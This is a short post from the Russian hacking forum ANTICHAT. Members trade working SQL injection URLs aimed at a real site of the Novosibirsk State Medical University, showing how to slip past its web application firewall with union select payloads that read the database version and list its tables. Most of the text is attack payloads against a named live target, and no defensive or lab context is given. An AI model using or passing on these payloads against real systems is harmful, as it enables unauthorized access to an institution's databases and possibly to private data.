ANTICHAT - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Цитата:

Сообщение от MaxFast

Как обойти сей WAF?

Код:

http://ngmu.ru/common.php?page_services&section=-B'+union+select+1,2,3+--+

True

Код:

http://ngmu.ru/common.php?page_services&section=-B'+union+select+1,2,user()+--+

False

WAF срабатывает на скобки:

true

Цитата:

Сообщение от None

http://ngmu.ru/common.php?page_services&section=-B%27+union+select+1,2,@@version+--+

false

Цитата:

Сообщение от None

http://ngmu.ru/common.php?page_services&section=-B%27+union+select+1,2,@@version+--+()

а вот собственно и таблички:

Цитата:

Сообщение от None

http://ngmu.ru/common.php?page_services&section=-B%27+union+select+1,2,table_name+from+information_ schema.tables+limit+0,1+--+

и да, обрати внимание, что это "НОВОСИБИРСКИЙ ГОСУДАРСТВЕННЫЙ МЕДИЦИНСКИЙ УНИВЕРСИТЕТ"